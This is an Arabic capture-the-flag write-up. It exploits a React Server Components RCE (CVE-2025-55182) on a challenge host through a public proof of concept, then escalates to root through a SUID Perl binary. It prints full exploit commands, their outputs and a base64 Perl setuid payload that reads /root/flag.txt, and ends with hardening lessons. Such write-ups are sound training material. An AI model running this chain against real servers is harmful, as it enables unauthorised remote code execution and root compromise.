
[First-Blood-XO] نقطة نهاية مكون خادم React معرضة لـ CVE-2025-55182 (RCE) → تعداد ثنائيات SUID → /usr/bin/perl تم تعيين بت SUID عليها → استخدم دالة setuid(0) من Perl للارتقاء إلى صلاحيات root → قراءة /root/flag.txt
الفئة: استغلال الويب | الصعوبة: متوسط | الثغرة: تنفيذ الأوامر عن بُعد → تصعيد الصلاحيات عبر SUID
تم استغلال نقطة نهاية مكونات خادم React المعرضة لـ CVE-2025-55182 (RCE) → تعداد ثنائيات SUID → وجود SUID على /usr/bin/perl → استخدام دالة setuid(0) من Perl's POSIX لتصعيد الصلاحية إلى root → قراءة /root/flag.txt.
العلم: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
الهدف: http://challenge.cybermesh.site:30035/
كان الهدف تطبيق ويب يعتمد على React ويستخدم مكونات خادم React (RSC) — وهي بنية جديدة نسبياً تنفذ المكونات على جانب الخادم وتدفق المخرجات المسلسلة إلى العميل عبر تنسيق مخصص.
تقدم هذه البنية حداً لتنفيذ الخادم. سوء معالجة المدخلات عند ذلك الحد هو بالضبط ما تستغله CVE-2025-55182.
تنفيذ الأوامر عبر مكونات خادم React — يفشل الخادم في تعقيم المدخلات التي يتحكم فيها المستخدم قبل وصولها إلى طبقة تنفيذ المكونات على الخادم. يسمح هذا للمهاجم بحقن أوامر شل على مستوى نظام التشغيل تُنفذ في سياق عملية Node.js.
تدفق الهجوم:
يوجد PoC عام لهذه الثغرة:
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
التحقق الأولي — تأكيد RCE وسياق التنفيذ:
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
الخرج:
[+] EXPLOITATION SUCCESSFUL
► app
الخادم يعمل كمستخدم app. ليس root — إذن مطلوب تصعيد.
البحث عن ثنائيات SUID:
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
الخرج:
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
/usr/bin/perl عنده بت SUID مضبوطة. هذه من GTFOBins المعروفة — عندما يكون Perl مملوكاً لـ root و SUID، فإنه ينفذ بصلاحيات root بغض النظر عن المستخدم الذي يستدعيه.
تم إنشاء حمولة Perl مشفرة بـ base64 تقوم بـ:
POSIX::setuid(0) للتصعيد إلى root/root/flag.txtتم إرسالها عبر نقطة نهاية RCE:
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
فك تشفير الحمولة تقريباً:
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
الخرج:
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
1. سطح الهجوم لـ RSC يتم الاستهانة به. مكونات خادم React هي نموذج جديد. العديد من النشرات لم يتم تحصينها ضد حقن المدخلات على حدود المكونات الخادمية. هذه الثغرة هي تذكير بأن "التصيير على الخادم" ليس آمناً بحد ذاته — لا يزال الحد التنفيذي يحتاج إلى تعقيم مناسب.
2. SUID على بيئات تشغيل السكربتات = root فوري.
/usr/bin/perl مع SUID هو خطأ تكوين نموذجي. يغطيه GTFOBins بالتفصيل. لا تقم أبداً بتعيين بت SUID على لغات السكربتات (Perl, Python, Ruby, إلخ) — على عكس الثنائيات المترجمة المصممة لـ SUID (su, passwd)، توفر هذه البيئات مسارات تصعيد بسيطة.
3. العلم واعي بذاته.
SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — التحدي صُمم صراحةً حول SUID Perl كمسار التصعيد المقصود. سلسلة نظيفة.
CVE-2025-55182 (RSC RCE)
└─> whoami → المستخدم "app"
└─> إيجاد ثنائيات SUID
└─> تحديد /usr/bin/perl (SUID root)
└─> حمولة Perl base64 → كتابة إلى /tmp/p.pl
└─> perl SUID /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> العلم ✓
كتبه عبد الله مقبول — مهندس اختبار الاختراق @ TISS | CRTA · CRTOM · CompTIA PenTest+